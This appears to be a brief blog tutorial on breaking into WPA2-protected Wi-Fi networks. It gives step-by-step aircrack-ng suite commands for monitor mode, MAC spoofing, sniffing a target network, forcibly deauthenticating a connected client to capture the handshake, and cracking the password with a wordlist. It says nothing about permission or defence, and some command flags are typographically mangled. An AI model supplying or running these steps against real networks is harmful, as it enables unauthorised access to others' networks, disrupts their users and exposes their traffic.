Cracking WPA 2 Encrypted Network

It’s fair to say WPA 2 has done a lot for wireless networks.

It’s made them more secure that’s for sure. However the threat is still out there… Turns out, hacking a WPA 2 encrypted network is pretty similar to cracking a WEP encryption. Let’s see how it’s done… These are the steps:

  • 1. Put wireless interface down, spoof the mac address (optional) and put wireless interface in monitor mode.
    • ifconfig wlan0 down
    • macchanger –mac 00:22:44:66:88:00 wlan0
    • airmon-ng start wlan0
  • 2. Start sniffing the target wireless network on the specific channel, write capture to file.
    • airodump-ng -c 1 –bssid Network MAC Addr. -w Capture File mon0
  • 3. To capture the WPA handshake, either DeAuthenticate a connected host or wait for one to connect.
    • aireplay-ng -0 0 -a Network MAC Addr. -h Your MAC Addr. -c Client MAC Addr. mon0
  • 4. Now you are ready to crack using the WPA handshake and your wordlist.
    • aircrack-ng –bssid Network MAC Addr. -w Wordlist Capture File

Note: Replace the underlined content on your own execution.

For further details, check out the video in high quality:


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